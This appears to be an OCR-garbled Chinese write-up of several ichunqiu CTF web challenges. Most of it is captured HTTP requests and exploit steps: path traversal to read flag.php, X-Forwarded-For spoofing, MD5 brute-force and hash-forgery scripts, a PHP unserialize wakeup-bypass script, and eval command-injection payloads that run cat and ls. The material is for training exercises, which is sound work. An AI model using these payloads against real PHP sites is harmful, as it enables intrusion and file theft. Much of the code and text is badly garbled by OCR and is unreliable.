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import requests

def getMd5(index):
for i in range(100000,100000000):
X=i
md5 = hashlib.md5(str(x).encode( )).hexdigest()
if md5[0:6] == index:
return x;
print(getMd5(
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1. hello.txt
2. s.txt
3. a.php
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1 <?php
2 T echo "Do what you want to do, web dog, flag is in the web root dir";
3 2>
-

T s.txt - oA
SO SEEE ER(0) =BV EHEEIH)
yahh~~what r u doing?|
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lag is in the web root dir
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pET [Challenges/action.php?action=file HTTP/1.1 : HTTP/.1 200 OK
Host: 53223487 e24499a64f3bh05hf5h9cefc34521259d24607 . changame.ichungiu. com Date: Thu, 26 Sep 2019 01:37:28 GMT
User-Agent: Mozilla/s.0 (Windows NT 10.0; WOWE4; rv:48.0) Gecko/20100101 Content-Type: text/html
Firefox/48.0 Connection: close
Accept: text/html application/xhtml+xml application/xml; g=0.9 */*, q=0.8 Wary: Accept-Encoding
Accept-Language: zh-CN,zh;q=0.8 en-US;q=0.5 en;g=0.3 Expires: Thu, 19 Mov 1981 08:52:00 GMT
Accept-Encoding: gzip, deflate Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
DMT: 1 Pragma: no-cache
Cookie: Vary: Accept-Encoding
UM_distinctid=16bea33905e382-0fad 18e0bcd ad5-1365634a-144000- 16 bea33306 b3k, ¥Wia-JSL: 0ch4B02 -
Hr_Ivt_2d0601bd28de7 d49818249:f35d95943=1563002377 1563590183 1563876165 15 ¥-Cache: bypass
65406855, PHPSESSID=m3E6h3f9noTupd1phidn98jack2; Content-Length: 772
_ jsluid_h=fb361d5817 al0eeB8E6bafa7 4abEEEEda
¥-Forwarded-For: B.8.8.8 <IDOCTYPE htmi=
Connection: close <html>
Upgrade-Insecure-Requests: 1 <head=
<meta charset="utfg">
<meta http-equiv="¥-UA-Compatible" content="IE=edge">
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GET /Challengesffile/download. php?=a.php HTTR/.1

Host: 537222487 2449926430 bISEE RS cefc34521259d24607 . changame.ichungiu. com
User-Agent: Mozilla/s.0 (Windows 0.0; WOWE4; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html application/shtml+xmPepplication/xml, q=0.9 **q=0.8

Accept-Language: zh-CN zh;q=0.8 en-US; >4, ;=03

Accept-Encoding: gzip, deflate
DNT: 1

Referer: http: /631222487 e24493a64f30bb050E LS cefc34521259d24607 changame. ichungiu. com/Challenges/action. php?action=file

Cookie: UM_distinctid=16bea33905e362-0fad 18e0bcd ad5- 1369634 a-144000-16kea33906 030,

Hm_Ivt_2d0601bd28de7 d49818249c{35d95943=1563002377 1563590183 1563876165 1565406855; PHPSESSID=m36h3f2nolupd 1 phidnd8jacE2;
_ |sluid_h=fh961d5817 a00eeB86hafar 4abbEEE6da

¥-Forwarded-For: 8.8.8.8

Connection: close

Upgrade-Insecure-Requests: 1

e iflag.php¥ A, {EEURK /ffag.php B RN
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& HTTR/.1 200 OK
Date: Thu, 26 Sep 2019 01:41:12 GMT
Content-Type: text/html
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
*-Via-JSL Bel8011 -
X-Cache: bypass
Content-Length: 24

flag{wow!!!hut not true}

DONREER A LS tiflag, SRERBRELZ T, AMERZDA 1 BMIMH, FrUARER B X% 5 Rk, RegMmAEHREx



FIF CONNECT &R, BERM AR

Raw | Params | Headers | Hex

Raw | Headers | Hex | HTML | Render

CONMECT /Challengesfile/download. php?fFa. php HTTRM .1

Host: edff33cedaf! 488480037 e813896d38857129¢48713b4kb13. changame. ichungiu. com

User-Agent: Mozilla/s.0 (Windows NT 10.0; WOWE4; nv:48.0) Gecko/20100101 Firsfox/48.0

Accept: text/html application/xhtml+xml application/xml;q=0.9 */*,q=0.8

Accept-Language: zh-CN,zh;q=0.8 en-US;q=0.5 en;q=0.3

Accept-Encoding: azip, deflate

DNT: 1

Referer: http:/edff39cedaf 488480 c37 813896438857 19c487 3h4 113, changame. ichungiu. com/Challenges/action. php?action=file
Cookie: UM_distinctid=16bea33005e382-0fad 18e0bcd ads- 1369634 a-144000-16hea33906h3bf,

Hm_Ivt_2d0601bd26de7 d49818249c35d35943=1563002377 1563590183, 1563876165, 1565406855; __ jsluid_h=a96e0319e32b10031d7110deB6ccabbd;

PHPSESSID=mSodgsdmmtqctergod gbg7 esa?
X-Forwarded-For 8888

Connection: close
Upgrade-Insecure-Requests: 1

Linuxfr 2525, FRHLH & A webiR B R T

HTTP/1.1 400 Bad Request

Date: Thu, 26 Sep 2019 08:57:13 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 300

Connection: close

HMia-JSL: 0e54802 -

¥-Cache: bypass

<IDOCTVF M
<hlm\><head>

<title>400 Bad Request</titl=>

</head><body>

<h1>Bad Request</h1>

<p=Your browser sent a request that this server could not understand.<br />
</p>

<hr>

<address>Apache/2.4.7 (Ubuntu) Server at localhost Port 80</address>
<fbody></htmi>

i varhww/htmi/flag.php 114 %
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| Raw | Headers | Hex |

GET /Challenges/file/download. php?f=fvarfwww/htmlflag. php HTTR/ .1

Host: edff39cedafl 488480037 e813896d386857 1290487304013 changame.ichungiu.com
UserAgent: Mozilla/s.0 (Windows MT 10.0; WOWE4; nv48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml application/xml; g=0.9 " q=0.8

Accept-Language: zh-CN zh;q=0.8 en-US;q=0.5 en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Referer: http:/fedff39cedaf! 488480037 e813896d38657 1e9c487f3b4b13. changame.ichungiu.com/Challenges/action. php?action=file

Cookie: UM_distinctid=16hea33905e382-0fad18e0bcda45-13696342-144000-16hea33906h3kT,

Hm_Ivt_2d0601hd28de7 d49818249cf35d95943=1563002377 1663590183, 166387 6165, 1565406855, __ jsluid_h=a9620319:32h10031d7110deB6ccabBd;

PHPSESSID=mSodgsdmmtgcterqodgbgresa
X-Forwarded-For: 8.6.5.8

Connection: close
Upgrade-Insecure-Requests: 1

AT /var/imwwhtml/Challenges/flag.php &K LA VRS H L (GERE 2 B S ETiR)

H<?php
Sf = § POST
sf = str ::eplace(a.:ray( U, U@Eu, O30 O Ggil o OO Gliw  @uld, G(d,
if ((strlen(Sf) > 13) (false !== stripos(sf, 1'}))//stripos () w%ﬁ(ﬁa‘ﬁ
=k
die ("t W'y ;
F}
try
=K
eval ("\5
F}
catch (Exception Se)
=k
return false;
F}
Hif ($spaceone === 'flag'){
echo file get contents("helloctf.php”);
F}
L2>

XL KT try...catchiili th 58
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HTTR/M.1 200 0K

Date: Thu, 26 Sep 2019 09:00:37 GMT
Content-Type: text/html

Connection: close

Expires: Thu, 19 Nov 1981 08:52:00 GM
Cache-Control' no-store, no-cache, must

JO

Fragma: no-cache
¥Via-JSL 0c54802 -
X-Cache: bypass
Content-Length: O

") sf):
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@ Load URL | http://edff39cedaf148848cc37e813896d388571e9c48713b4b13.changame.ichungiu.com/Challenges/flag.php
% Split URL

r Execute |

Postdata [ ] Referrer 4 OxHEX ™» @ %URL P @M% BASEG4 Insert string to replacy

Post data flag=flag;

@=m~ AcCookiesv » CSS =~ @ELE~ @ONEISEY H=ftlhay Jincr FEky ATE~ WMESFAKEY NEm
JIETCRAFT - Services-
{?php

$flag="flag{6ceeeb26—e503-4af8-abb3—1390c7b6bc2f} " ;
2>

kRIS Since: New Site Rank: - Site Report Bl [CN] China unicom InnerMongolia province network

fuzzing

G @ 7= | 822789c92eb24d5fb84a5a79fb4a3(
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there is nothing
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Request Response
J Raw I Params I Headers T Hex } J Raw I Headers T Hex }
GET /Challenges/test.php HTTR/1.1 : HTTR/1.1 200 QK
Host: 822789c92eb24d5fh84a5a79fh4a306c0bear 46bbfE34436. changame. ichungiu. com Date: Thu, 26 Sep 2019 11:31:22 GMT
User-Agent: Mozilla/S.0 (Windows NT 10.0; WOWE4; rv:48.0) Gecko/20100101 Content-Type: text/html
Firefox/48.0 Connection: close
Accept: text/html application/xhtml+xml application/xml; g=0.9 * q=0.8 hint: ip Large internal netwark

Accept-Language: zh-CM,zh;q=0.8,en-US;q=0.5 en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie:
UM_distinctid=16hea33905e352-0fad 18e0bcd ads- 1369634 a-144000-16bea3350603h01;
Hrm_Ivt_2d0601 bd28de7 d49818249:35d95543=1563002377 1563590183 156387616515
65406855, _ jsluid_h=474dhObf282082980f3505583 = d54691

X-Forwarded-For: 8.8.8.8

Connection: close

Upgrade-Insecure-Requests: 1
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| Raw | Headers | Hex |

GET /Challengesftest. php HTTR/ .1

Haost: 822789c92eh24d5fhE4 a5a79fh4 a306c0be a7 46bhE34436. changame.ichungiu. cam
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:48.0) Gecko/20100101
Firefox/43.0

Accept: text/html application/xhtml+xml application/xml, q=0.9 **q=0.8
Accept-Language: zh-CM,zh;q=0.8 en-US;q=0.5 en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie:

UM_distinctid=16bea33905e3682-0fad 18e0bcdads-1369634a-144000-16bea33006b3bf;
Hm_Ivt_2d0601bd28de7 d49818249c{35d95943=1563002377 1563590183 1563876165 15
B5406855; _ jsluid_h=474dbIbi2582082980f3805563 e d54651

¥-Forwarded-For: 10/8.8.8

Connection: close

Upgrade-Insecure-Requests: 1

THEEAH2

rRequest

Raw | Params | Headers | Hex

e

HTTP/ .1 302 Found

Date: Thu, 26 Sep 2019 11:34:48 GMT
Content-Type: text/html

Connection: close

Location: /m4nage.php

X-Via-JSL: 607 225 -

Content-Legfgth: O

mesponse

Raw | Headers | Hex

GET /Challenges/./mdnage.php HTTP/1.1

Host: 8227689c92eb24d5fhEd a5ar 9fbd a306c0bear 46bbfE34436. changame.ichungiu.com
UserAgent: Mozilla/s.0 (Windows NT 10.0; WOWE4, rv:48.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*f*;q=0.8

Accept-Language: zh-CN,zh;q=0.8 en-US;q=0.5 en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: UM_distinctid=16kea33905e362-0fad 18e0bcd ad5-1369634 a-144000-16b ea33906 b3k,

Hrm_Ivt_2d0601hd28de7 d49818249cf35d95943=1563002377 1563590183 1563676165, 1565406855, _jsluid_h=474db9bf262062980f0605563ed54691

H-Forwarded-For: 10.255.255.255
Connection: close
Upgrade-Insecure-Requests: 1

[ ] HTTR/ .1 200 OK
Date: Thu, 26 Sep 2019 10:58:27 GMT
Content-Type: text/html
Connection: close
¥-Via-J5L: GdaB4a -
X¥-Cache: bypass
Content-Length: 16

show me your key

showyour key —FFIRRIIX BB T, BT RIMEREE A MEXE key S8 - » » UARBZIT—FRIRE, SRA
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POST /Challenges/./mdnage.php HTTR/1.1

Host: 822789c92eb24 d5h84 a5a79fbh4a306c0bea7 46bbE34436. changame.ichungiu. com
User-Agent: Mozilla/s.0 (Windows NT 10.0; WOWES: rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html application/xhtml+xml application/xml, q=0.9 **q=0.8

Accept-Language: zh-CM,zh;q=0.8 en-US;q=0.5 en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: UM_distinctid=16bea33905e362-0fad 18e0bcd ad5-1369634 a-144000-16bea3390603bf;
Hrn_ivt_2d0601bd28de7 d49818249:35d95943=1563002377 15635901683, 1563876165, 1565406855; _ jsluid_h=47 4dh9Lf282082980f8505583 054691
¥-Forwarded-For: 10.255.265 255

Connection: close

Upgrade-Insecure-Requests: 1

Caontent-Type: application/x-www-form-urlencoded

Content-Length: 5

key=1|

R —H)1E

key is not right,md5(key) ,and the key is ichungiu™**,the * is in [a-z0-9]

XAEVRIBIER T, key/a =402 Ma-zs0-9%& ), &H&/EHRMD5{E N 1b4167610ba3f2ac426a68488dbd89be

FR LS A AS SR A

foriins:

forjins:

forkins:
key i+j+k
if(hashlib.md5(key.encode( ))-hexdigest()

print(key)

15 HkeyHI{E ichunqiu105
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Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

FOST /Challenges/mdnage. php HTTR/.1 A HTTR/.1 200 OK

Host: 822789c92eb24d5fhE4 a5ar9fh4a306c0bear 46bbfE34436. changame.ichungiu.com r Date: Thu, 26 Sep 2019 11:48:38 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:48.0) Gecko/20100101 Firefox/48.0 Content-Type: text/html

Accept: text/html application/xhtml+xml application/xml;g=0.9 */* ¢=0.8 Connection: close

Accept-Language: zh-CM,zh;q=0.8 en-US,;g=0.5 &n;q=0.3 X-Via-JSL: 1fdb010 -
Accept-Encoding: gzip, deflate ¥-Cache: bypass

DNT: 1 Content-Length: 27

Cookie: UM_distinctid=16bea33905e382-0fad 18e0bcd ad5- 1369634 a-144000-16hea33906 b3 bf;

Hrm_vt_2d0601 bd28de7 d49818249:f35d95943=1563002377 1563590163, 1563876165 1565406855, __jsluid_h=474dhaL282082980/8805583 54691 the next step: xx00xxo0.php

X-Forwarded-For: 10.8.68.8

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded
Content-Length: 15

key=ichunqiu105l /
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source code is in the x0.txt.Can you guess the key
the authcode(flag) is 06e16LKT9I7Lnahh402yiyttEdV1Bgq9mMnFay+x7 DDf+HUMY3/s7Ktyx5GUjCc/62WsujsOwUp6ZPbt//yGWv7 IIMaf/IAo

R RIRAGTE 0.t 1, WMKREFE—T

function ($string, ion = 'DECODE', $key = '', S$expiry = 0) {
$ckey_length = 4;

$key = md5 ($key ? $key : UC_KEY);
$keya = md5 (substr($key, 0, 16));
$keyb = mdS (substr($key, 16, 16)});
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr(§string, 0, $ckey length) : substr(mdS(microtime()), -§ckey_length)) : '';

Scryptkey = $keya . md5 ($keya . Skeyc)
$key length = strlen($cryptkey):;

$string = $operation == 'DECODE' ? base64_decode (substr(§string, $ckey length)) : sprintf('3010d', $expiry ? $expiry + time() : 0) . substr(mdS(§string . $keyb), 0, 16) . $string
$string_length = strlen($string);

Sresult = '';
$box = range (0, 255);

$rndkey = array():
for ($i = 0; $i <= 255; Si++) {

srndkey[Si] = ord(Scryptkey[$i % Skey length]):
}

for (83 = $1 = 07 $i < 256; $i++) {
$J = ($3 + $box[$i] + $rndkey[$i]) % 256;
stmp = Sbox[$il;
sbox[$i] = $box[$31;

Shox[57] Stmp;
i
for (Sa = §j = 5i = 0; Si < Sstring length; Si++) {
+ 1) % 256;

3a = (3a

53 = (5] + Shox[$al) % 256;

stmp = $bhox[$al:

$box[sal = $box[$11;

$pbox[5]] = Stmp;

sresult .= chr(ord($string[sil) ~ (Sbox[(Sbox[Sal + $box[$]1) % 2561));
}

if (Soperation == 'DECODE') |
if ((substr(Sresult, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return substr ($result, 26);
} else {
return '';

NIRE R, PXAKEAHEE, FARSEERIRETIHREEAag, HXBADME —MEE RS, BinLRsK

the authcode(flag) is

21Qnh6PMP7L2f1fqp8sLw
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authcode($string

$operation $key
257 for ($7 = $1 = 03 $i < 256; $i++) {
26 $3 = ($] + thox[$i] + $rndkey[$i]) % 256;
27 $tmp = $box[$i];
28 $box[$1] = $box[$j];
29 $box[$j] = $tmp;
30 }
31
32~ for ($a = $j = $1 = 0; $i < $string_length; $i++) {
33 %a = ($a + 1) % 256;
34 $j = ($7 + sbox[%$a]) % 256;
35 $tmp = $box[$a];
36 $box[%a] = $box[$]];
37 $box[$j] = $tmp;
38 $result .= chr(ord($string[$i]) ~ ($box[($box[%a] + $box[$j]) % 256]1));
39 }
40
41~ it ($operation == 'DECODE') {
42~ if ((substr(gresult, @, 10) == 0 || substr($result, @, 10) - time() > 0) && substr($
43 return substr($result, 26);
44 - } else {
45 return "';
46 }
a7~ } else {
48 return $keyc . str_replace('=", "', basebd_encode($result));
49 }
50
51 }

52 eche authcode($string="5371AysIMuHkboxTZSIegnyFbeNvsoshqadMgEoJC6MHSKLMYreYs4ob4lLGkISqeGo/W
53
54 >

< >

BRAMEH. o o —IFEEUONRBEMIIR, ERAZ. . -

Hash
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C O F== | 70de66964c684d2f9e34762f5b296d05396e7fc8a09¢
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hahaha

HTIE, BEAHALER

Raw | Params | Headers | Hex

FiEEE

SQUENZFHEE

Raw | Headers | Hex

j

i

| pET findex. php?key=123&hash=2109d5/83921 a551 ciB59f853afeT bh HTTR/ .1

) Host: ce3fdcced6? 14fccB58h25 a7 199d4fa2fed2bffeBIf1404d. changame.ichungiu.com
UserAgent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:48.0) Geckao/20100101 Firefox/48.0
Accept: text/html application/xhtml+xml applicationfxml; g=0.9 */* q=0.8

Accept-Language: zh-CN zh;q=0.8 en-US;q=0.5 en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: UM_distinctid=16hea339052382-0fad18e0bcdads-13696345-144000-16be a33906 03k,

__jsluid_h=ef38e050be581h25c33004cd55907 31
¥-Forwarded-For: 8888

Connection: close

Upgrade-Insecure-Requests: 1

K — Bk

you are 123;if you are not 123,you can get the flag
<l-hash= = Sign.8key);the length of $sign is 8

Hm_ht_2d0601hd28deT d45818249c135d95943=1563002377 1563590183 1563676165, 1565406855,

HTTR/1.1 200 CK

Date: Fri, 27 Sep 2019 02:11:27 GMT
Content-Type: text/html

Connection: close

Vary: Accept-Encoding

Vary: Accept-Encoding

¥-Via-JSL 1db010 -

¥-Cache: bypass

Content-Length: 105

you are 123;if you are not 123,you can get the flag<br></--fhash=md5(Ssign. Skey) the length
of $sign is 8

hash FI{H 2 HBALH sign 1 key HELHI, AR EARR123, AT LAEBiflag RN keyh 124, RIMER hash [HA IEH

Request

jRaw T Params T Headers I Hex ]

Response

jRaw | Headers | Hex |

o

Accept: text/html applicationfxhtml+xml application/xml;q=0.9 *, q=0.8
Accept-Language: zh-CN,zh;q=0.8 en-US;q=0.5 en;q=0.3
Accept-Encoding: gzip, deflate

Honr: 1

__isluid_h=f3340548c42e6fe1 d0BEhabET a7 4680
¥-Forwarded-For: 8888

Connection; close

Upgrade-Insecure-Requests: 1

GET findex.php?key=124&hash=2109d5f33921a551 cf359f853afer b HTTP/ 1
Host: 70de66964c684 d2f9e34762f50h296d05396 7820984660, changame.ichungiu.com i
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4, nv48.0) Gecko/20100101 Firefox/48.0

Referer: http://70debE964c684d2f0e34762f50296d05396 .7 fc8a098466 kL. changame.ichungiu. com/
Cookie: UM_distinctid=16bea33905.382-0fad 18e0bcd ad5-1369634 a-144000-16hea33906h3bf,
Hrn_Ivt_2d0601hd28de7 d49518249cf35d95943=1563002377 1563590183 1563676165, 1565406855,

A HTTRA .1 200 Ok

Date: Fri, 27 Sep 2019 03:15:11 GMT
Content-Type: text/html

Connection: close

¥Wia-JSL 9h0c26h -

#-Cache: bypass

Content-Length: 24

the hash is not right!!!

Bt CABANT 76 BESE SR R sign HIME, X5 FEAIIRATFT B 124 FEAE—ERMD5SEIA]

BN LR TTIEAIMDS

TEZEMD5fE— T iE i hashi



f9109d5f83921a551cf859f853afe 7bb

md5

kkkkkk01123

EREIT, —HUATESHALHELR, MsignfIMEER kkkkkk01 , 55124, FELMDSINE, H#RAZENAT

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex

GET findex.php?key=124&hash=77 dah7fc0322d9b23c cd6f2e95a065ba HTTR/1.1 A HTTR/1.1 200 OK
Host: TOdeEEQEchdeM?BQEbQQB Ee7fcBa098466h. changame.ichungiu.com 1 Date: Fri, 27 Sep 2019 03:19:50 GMT
User-Agent: Mozilla/5.0 (Windows 0.0; WOWE4; nv:48.0) Gecko/20100101 Firefox/48.0 Content-Type: text/html
Accept: text/html, application/tmi+xml application/xml; q=0.9 */*,q=0.8 Connection: close
Accept-Language: zh-CN,zh;g=0.8 en-US;q=0.5en;q=0.3 *-Wia-JSL 9h0c26b -
Accept-Encoding: gzip, deflate H-Cache: bypass
DNT: 1 Content-Length: 30
Referer: http://70de662964c684d2f9e34762f5h296d05396 27 fcBa098466b. changame.ichungiu.com/
Cookie: UM_distinctid=16bea33905e382-0fad 18e0bcdads-1369634 a-144000-16b2a33906h3kf; next step is Gu3ss_m3_h2h2.php

Hm_vt_2d0601bd28de7 d49818249:f35d95943=1563002377 1563590183 1563876165 1565406855, IR
_ jsluid_h=19340548 c42e6fe1 d0BELaBET a7 4680 —_—
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1

i L = L L B el [ |
<?php
gclass Demo |
private $file = 'Gu3ss m3 h2h2.php';

=) public function _ construct(3file) {//FEEREIEF T FATSLIFAAM
Sthis-»>file = S5file;

- }

= function __ destruct() {//_ destruct() - XE BB 5| A
echo @highlight_ﬁile($thi5—>file, true) ;

- }

= function _ wakeup() {//unserialize() &=REEZEBFE 1 _ wakeup
E if (Sthis->file != 'Gu3ss m3 hZh2.php') {

//the secret is in the fl5g 1s here.php

$this->file = 'Gu3ss m3 h2h2.php';

CIif (isset (S GET['var'])) {

Svar = base64_decode (5 GET['var']);

= if (preg_match('f:o:::\d—ﬂ/i', Svar)) |
die('stop hacking!');

} else |

Bunserialize (Svar) ;




b else |

hig't:xlight_file ("Gu3ss m3 h2hZ.php");
2>
FREE T Rl R B A

—/"Demo3k, H=EABERE, FBENH—T

construct
TE 15 IR BB B X BB S 1A Uk 2k
destruct

5t R T 5 AR BR 245t Sk B A B AT
wakeup
unserialize() 2B R B HFE—A _ wakeup() Hi¥E. WREAE, WESEHEH _ wakeup Hi%

T if EA)HIW R BAEE GET F BN var IR i 2 ITE K ENRER, MEE STOP, FUMBATRFEFIML, 7ERFFL
ZHT, e wakeup BEVEEREL, WERIBIAIK] file A& Gudss_m3_h2h2.php , M iRHIHE A Gudss m3_h2h2.php

it 2R, EERBmRER T, R f159_1s_here.php , RIFIXENRIL, BRATFEHR f159_1s_here.php £FFIL, &
JEiLEIEMEF, HA R naiseid IENRERM _ wakeup IR E, 7 W LLRTH

EXPNTEEA )RS

private $file
public function __construct($file) {
$this->file = $file;
ki
function __destruct() {
echo @highlight_file($this->file, true);
ki

function __ wakeup() {

if ($this->file

$this->file
}
1

$a = new Demo(

$s = serialize($a);echo $s;echo
$s = str_replace( : ,$s);
$s = str_replace(":1:', ,$s);
echo base64_encode($s);

?>

T BfEBE— T $s = str_replace('0O:4', '0O:+4" $s); Hegeid 1IE M FKIL K
FATEVRIGH [oc] SEEILEEF M —NZRF, ENREXPEESLIBIER ii FX 5 (ignore) K/NG; #ilin: /abe/i 7T AILER abe.
aBC. Abc' FrUARDAVLERE] O, \d FRILECHZ, MIAIAIE O:+4 WA LAGe X —ILhE, MImikILEE AT, SR e

Z FBA $s = str_replace(:1:', :2:' ,$s); BESEIT wakeup BREL, A M5k 7B S E KT S2hrgk B i i gaid %8R 4



(ST EES

WEZIER A code

<?php
Demo {
$file = "Gu3ss_m3_h2h2.php";
__construct($file) {
$this->file $tile;

_ destruct() {
echo @highlight file($this->file, true);

__wakeup() {
($this->file 'Gu3ss_m3_h2h2.php') {

$this >file = "Gu3ss_m3_h2h2.php";
¥
1}
$a Demo("f15g 1s here.php');
$s serialize($a);echo $s;echo "<br>";
$s = str_replace('0:4%, '0:+47,%s);
$s = str_replace(':1:", ":2:' ,%s);
echo base64 encode($s);
2>

(e | on [ smenm v, e e
® XFLRAEFR O htmGHETR

‘O:4:"Demo":1:{s:10:" % Demol% file";s:16:"f15g_1s_here.php";}<br>TzorNDoiRGVtbyl6Mjp7czoxMDoiAERIbWBAZmMIsZSI7czoxNjoiZjE1.Z18xc19aZXILnBocCl7 Q==

HEAURLKbaseb4gmigiE Mkt %, Nk —BIRG

<?php
gif (isset (S GET['wal'l]))
Swal = S GET['wal'l;
eval ('Svalue="" . addslashes(Swal) . "";');
} else
die('hahaha!"');
//addslashes () HFUEEEME L FRAZIAGHMREILIIFFE.
L2

A eval K%, BRI WA addslashes # X H %, addslashes # X i<
M, RUREERAKES T, Wikpayload:

15g_1s_here.php?val=${eval($_GET[a])}&a=ech0%20’ls";

< C @ <% | 7b8718e2eblad16aad5339e6bedc593124c44c7b63bed10c.chan
i R7HE CTFRESHTF RIS, CTFRIZRME FiEiEE SQUENZE=E AWD

Gu3ss m3 h2h2.php True Flag 13 Here 233.php f15g 1s here.php index.php

2 Eflaghi AT

15g_1s_here.php?val=${eval($_GET][a])}&a=echo ‘cat True_F1ag_i3 Here 233.php’;

ER—T 80 &35, XEPKE GoRH%



shelliffT iy & A i & B H A 0 B HOAPAT Z A S F LR T Za<, REMERAHEBIGH1TH)

K515 §( ZERMar S HTIRERMREK, T K@, 2K EBE §0 HHEQ LB HAT UE, BIEERMA R4
L EHIAT

EARRT LR RIE R %
LW

HT, RRBELSGEEIXE, NEBADMR, TRYLLL!



https://blog.csdn.net/if9600/article/details/74221548
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